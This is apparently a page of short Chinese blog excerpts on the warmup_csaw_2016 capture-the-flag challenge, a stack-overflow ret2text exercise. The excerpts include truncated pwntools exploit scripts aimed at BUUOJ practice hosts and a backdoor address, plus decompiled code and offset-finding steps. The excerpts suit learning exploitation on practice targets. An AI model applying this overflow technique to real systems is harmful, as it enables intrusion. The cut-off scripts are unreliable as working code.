warmup_csaw_2016 闲的没事干写个pwn题玩。 在buuoj上面看的。 栈溢出,ret2text。 直接给了shell地址只要溢出就好。 exp: frompwnimport*importbase64importtime context.log_level ='debug'sh = remote('node4.buuoj.cn',26803)# sh = process('./warmup_csaw_2016')time.sleep(1) sh.recv()# sh...
进入跟踪,我们可以看到,程序调用了system命令 首先我们用cyclic创建一个200字符的字符串,利用它来判断溢出点到返回地址的偏移 启动Pwndbg进行调试 由图可得,根据小端序,'saaa'之前有多少个字符,就是偏移量 写出脚本 frompwnimport*p=remote('node3.buuoj.cn',29184)#根据靶机不同来进行更改addr=0x40060dpayload='...
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s; // [rsp+0h] [rbp-80h] char v5; // [rsp+40h] [rbp-40h] write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(&s, "%p\n", sub_40060D); write(1, &s, 9uLL); write(1, "...
warmup_csaw_2016 1 先checksec 是64位,小端序 进入ida,查看字符串 有一个cat flag 的字符串,跟进去,是这个函数,也就是执行这个函数我们就可以得到flag 一如既往的来到了main 函数处, 也是看到了get函数,一般就是栈溢出了,v5的大小位0x40,再加上是64位,所以要输入0x40+8,来造成栈溢出 脚本 from pwn imp...
#一、代码审计 拖入ida F5 发现危险函数gets,可用栈大小为0x40字。 程序存在后门 #二、脚本 #三、连接